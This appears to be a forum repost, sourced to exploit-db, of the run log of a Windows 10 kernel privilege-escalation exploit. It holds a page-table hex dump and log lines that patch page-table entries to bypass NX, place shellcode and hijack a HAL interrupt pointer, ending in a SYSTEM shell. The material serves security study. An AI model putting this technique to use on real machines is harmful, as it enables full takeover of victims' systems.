000000003D9EC5D0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC5E0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC5F0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC600 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC610 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC620 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC630 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC640 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC650 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC660 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC670 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC680 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC690 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC6A0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC6B0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC6C0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC6D0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC6E0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC6F0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC700 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC710 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC720 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC730 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC740 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC750 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC760 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC770 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC780 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC790 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC7A0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC7B0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC7C0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC7D0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC7E0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC7F0 | 00 00 00 00 00 00 00 00 67 08 b9 4d 00 00 60 02 | ........g..M..`. 000000003D9EC800 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC810 | 63 f8 ff 3f 01 00 00 00 63 38 88 00 00 00 00 80 | c..?....c8...... 000000003D9EC820 | 63 38 88 00 00 00 00 80 63 38 88 00 00 00 00 80 | c8......c8...... 000000003D9EC830 | 63 38 88 00 00 00 00 80 63 d8 ff 3f 01 00 00 00 | c8......c..?.... 000000003D9EC840 | 63 b8 ff 3f 01 00 00 00 00 00 00 00 00 00 00 00 | c..?............ 000000003D9EC850 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC860 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC870 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC880 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC890 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC8A0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC8B0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC8C0 | 63 a8 3f 0f 01 00 00 00 00 00 00 00 00 00 00 00 | c.?............. 000000003D9EC8D0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC8E0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC8F0 | 00 00 00 00 00 00 00 00 63 18 35 02 00 00 00 00 | ........c.5..... 000000003D9EC900 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC910 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC920 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC930 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC940 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC950 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC960 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC970 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC980 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC990 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC9A0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC9B0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC9C0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC9D0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC9E0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC9F0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECA00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECA10 | 00 00 00 00 00 00 00 00 63 d8 47 00 00 00 00 00 | ........c.G..... 000000003D9ECA20 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECA30 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECA40 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECA50 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECA60 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECA70 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECA80 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECA90 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECAA0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECAB0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECAC0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECAD0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECAE0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECAF0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECB00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECB10 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECB20 | 00 00 00 00 00 00 00 00 63 18 8b 00 00 00 00 00 | ........c....... 000000003D9ECB30 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECB40 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECB50 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECB60 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECB70 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECB80 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECB90 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECBA0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECBB0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECBC0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECBD0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECBE0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECBF0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECC00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECC10 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECC20 | 63 78 82 00 00 00 00 00 00 00 00 00 00 00 00 00 | cx.............. 000000003D9ECC30 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECC40 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECC50 | 63 b8 57 00 00 00 00 00 00 00 00 00 00 00 00 00 | c.W............. 000000003D9ECC60 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECC70 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECC80 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECC90 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECCA0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECCB0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECCC0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECCD0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECCE0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECCF0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECD00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECD10 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECD20 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECD30 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECD40 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECD50 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECD60 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECD70 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECD80 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECD90 | 63 08 a9 30 01 00 00 00 63 68 c2 2a 00 00 00 00 | c..0....ch.*.... 000000003D9ECDA0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECDB0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECDC0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECDD0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECDE0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECDF0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECE00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECE10 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECE20 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECE30 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECE40 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECE50 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECE60 | 63 78 8b 00 00 00 00 00 00 00 00 00 00 00 00 00 | cx.............. 000000003D9ECE70 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECE80 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECE90 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECEA0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECEB0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECEC0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECED0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECEE0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECEF0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECF00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECF10 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECF20 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECF30 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECF40 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECF50 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECF60 | 67 18 21 00 01 00 00 80 00 00 00 00 00 00 00 00 | g.!............. 000000003D9ECF70 | 00 00 00 00 00 00 00 00 63 10 98 00 00 00 00 00 | ........c....... 000000003D9ECF80 | 63 40 98 00 00 00 00 00 00 00 00 00 00 00 00 00 | c@.............. 000000003D9ECF90 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECFA0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECFB0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECFC0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECFD0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9ECFE0 | 63 d8 34 02 00 00 00 00 63 38 8c 00 00 00 00 00 | c.4.....c8...... 000000003D9ECFF0 | 00 00 00 00 00 00 00 00 63 f0 99 00 00 00 00 00 | ........c....... +] Selected spurious PML4E: fffff67b3d9ecf00 +] Spurious PT: fffff67b3d9e0000 +] Content pml4e fffff67b3d9ecff8: 99f063 +] Patching the Spurious Offset with 99f067 +] Content pdpte fffff67b3d9ffff8: 9a0063 +] Patching the Spurious Offset with 9a0067 +] Content pdpte fffff67b3ffffff0: 821063 +] Patching the Spurious Offset with 821067 +] Content pte fffff67fffffe800: 1967 +] Patching the Spurious Offset with 1967 Original HalpIntteruptRequest pointer: fffff80150e1fc40 +] Selected spurious PML4E: fffff67b3d9ecf08 +] Spurious PT: fffff67b3d9e1000 +] Content pml4e fffff67b3d9ecff8: 99f063 +] Patching the Spurious Offset with 99f067 +] Content pdpte fffff67b3d9ffff8: 9a0063 +] Patching the Spurious Offset with 9a0067 +] Content pdpte fffff67b3ffffff0: 821063 +] Patching the Spurious Offset with 821067 +] Content pte fffff67fffffe800: 1967 *** Patching the original location to enable NX... +] Patching the Spurious Offset with 1967 HAL address: fffff67b3d9e1000 +] w00t: Shellcode stored at: ffffffffffd00d50 +] Selected spurious PML4E: fffff67b3d9ecf10 +] Spurious PT: fffff67b3d9e2000 +] Content pml4e fffff67b3d9ecff8: 99f063 +] Patching the Spurious Offset with 99f067 +] Content pdpte fffff67b3d9ffff8: 9a0063 +] Patching the Spurious Offset with 9a0067 +] Content pdpte fffff67b3ffffff0: 821063 +] Patching the Spurious Offset with 821067 +] Content pte fffff67fffffe800: 1967 +] Patching the Spurious Offset with 1967 Patch HalpInterruptController->HalpApicRequestInterrupt: fffff67b3d9e26e8 with ffffffffffd00d50 Microsoft Windows [Version 10.0.14393] (c) 2016 Microsoft Corporation. All rights reserved. C:\Users\qa\Desktop> C:\Users\qa\Desktop>whoami nt authority\system C:\Users\qa\Desktop> Sursa: https://www.exploit-db.com/exploits/40823/
-
- 1
-
-
Am facut curatenie. Cine mai ia toate cele 10 flag-uri?